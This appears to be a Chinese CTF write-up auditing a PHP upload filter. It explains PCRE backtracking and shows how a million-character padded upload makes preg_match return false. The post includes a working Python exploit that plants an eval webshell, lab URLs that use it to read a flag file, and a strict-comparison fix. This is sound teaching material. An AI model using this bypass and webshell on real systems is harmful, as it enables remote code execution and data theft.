代码审计学习.CodeBreaking.easy-pcrewaf

代码审计学习.CodeBreaking.easy-pcrewaf

这次是一道关于php回溯bypass正则的题目,有趣得很!

题目概述

在这里插入图片描述

源码

 <?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

代码审计

我们依次解读,

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

显然是个正则匹配,而且是针对php的正则,就是匹配php代码。这个正则bypass就是这道题的关键所在。

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

显然是要文件上传,这里就是判断是否上传文件,没啥可研究的。

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);

使用$_SERVER['REMOTE_ADDR']获取客户端的IP地址,并对其进行MD5哈希加密,然后拼接在data/的后面,形成一个表示用户目录的字符串,赋值给user_dir

$data = file_get_contents($_FILES['file']['tmp_name']);

读取上传文件的内容赋值给data$_FILES['file']['tmp_name'] 是一个包含了上传文件临时路径的 PHP 预定义变量。[file] 是上传文件的字段名,['tmp_name'] 则表示上传文件的临时路径。

if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    //创建目录,权限0755
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    //文件路径为 $user_dir/0到10随机数.php
    move_uploaded_file($_FILES['file']['tmp_name'], $path);
    //将文件从临时目录中移动到$path中
    header("Location: $path", true, 303);
    //在http返回头里给我们文件路径
} 

紧接着就是上面分析过的正则匹配,匹配成功则输出"bad request",反之,则将上传的文件进行保存,然后在http返回头里给我们文件路径。

分析完代码,现在就一目了然了,题目没有禁止我们传php文件,而是要求我们传php文件,但是又对php代码进行了正则过滤。

所以思路就是bypass正则,上传php文件getshell。

漏洞利用

1. bypass正则

想要bypass正则,就不得不研究研究正则表达式的一些机制了。这里主要是参考P神的WP,加了点自己的理解。

1.1. 正则表达式是什么?

正则表达式是一个可以被“有限状态自动机”接受的语言类。

“有限状态自动机”,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。

而常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库

1.2. 正则回溯

以这道题的正则为例,假设我们的输入是

<?php phpinfo();//aaaaaaaaa

我们用regex101进行调试,正则流程是这样的:

在这里插入图片描述

首先正则开始匹配<

在这里插入图片描述

找到<后,然后正则再匹配?

在这里插入图片描述

找到<?后,正则开始匹配.*

在这里插入图片描述

可以在 step 4 中看到,正则因为.*匹配上了<?后所有的字符,但正则并没有结束,继续匹配 [(`;?>] 。

在这里插入图片描述

但是因为.*匹配上了<?后所有的字符,后面没有字符可以匹配了,于是正则开始回溯,回溯了一个a
在这里插入图片描述

又回溯了一个a

在这里插入图片描述

一直回溯,直到回溯到了;,终于匹配上了 [(`;?>]

在这里插入图片描述

然后.*继续匹配后面所有字符,这样才算是完成了正则匹配

在这里插入图片描述

在调试正则表达式的时候,我们可以查看当前回溯的次数,总共回溯了12次,建议自己调试试试,流程很清晰。

1.3. PHP的pcre.backtrack_limit限制利用

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:

在这里插入图片描述

由输出可知,回溯次数上限默认是100万。那么,假设我们的回溯次数超过了100万,会出现什么现象呢?

正常匹配成功情况下,返回了1

在这里插入图片描述

正常匹配失败情况下,返回了0

在这里插入图片描述

回溯达到超过的情况下,返回了false,表示此次执行失败了。

在这里插入图片描述

调用var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因就是回溯次数超出了限制!

再回到这道题,

if (is_php($data)) {
    echo "bad request";
} else {
    ...
} 

我们要的就是false!那么这道题的答案已经摆在了我们面前:

通过发送超长字符串的方式,使正则执行失败,从而绕过正则对PHP语言的限制,进而getshell。

POC如下:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'success<?php eval($_GET[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://172.17.0.1:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

2. getshell

从http请求头中得到文件路径
在这里插入图片描述

然后就不多说了,直接看截图吧

http://172.17.0.1:8088/data/122c4a55d1a70cef972cac3982dd49a6/3.php?txt=print_r(scandir(%27../../../%27));

http://172.17.0.1:8088/data/122c4a55d1a70cef972cac3982dd49a6/3.php?txt=var_dump(file_get_contents(%27../../../flag_php7_2_1s_c0rrect%27));

在这里插入图片描述在这里插入图片描述

漏洞修复

仔细观察PHP文档,是可以看到preg_match函数下面的警告的:

如果用preg_match对字符串进行匹配,一定要使用===全等号来判断返回值。

例如,

function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}

这样,即使正则执行失败返回false,也不会进入if语句。

串进行匹配,一定要使用===全等号来判断返回值。

例如,

function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}

这样,即使正则执行失败返回false,也不会进入if语句。

参考文章:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html#0x01
https://blog.csdn.net/dyw_666666/article/details/90043671
https://www.freebuf.com/column/197832.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值